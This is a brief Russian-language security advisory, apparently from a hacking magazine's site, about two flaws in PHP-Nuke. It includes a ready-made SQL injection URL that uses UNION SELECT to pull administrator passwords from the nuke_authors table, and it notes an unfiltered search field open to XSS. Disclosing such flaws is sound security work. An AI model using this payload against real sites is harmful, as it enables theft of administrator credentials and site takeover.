Несколько уязвимостей в PHP-Nuke

Рекомендуем почитать:

Хакер #327. Doom.ttf

• Содержание выпуска
• Подписка на «Хакер»-40%

Программа: PHP-Nuke 

Несколько уязвимостей в PHP-Nuke позволяют удаленному пользователю выполнить SQL команды и XSS нападение. 

1. SQL инъекция: 

http://localhost/nuke73/modules.php?name= Search&type=comments&query=not123exist
s&instory=/**/UNION/**/SELECT/**/ 0,0,pwd,0,aid/**/FROM/** /nuke_authors

2. /modules/Search/index.php не фильтрует HTML код в поле поиска.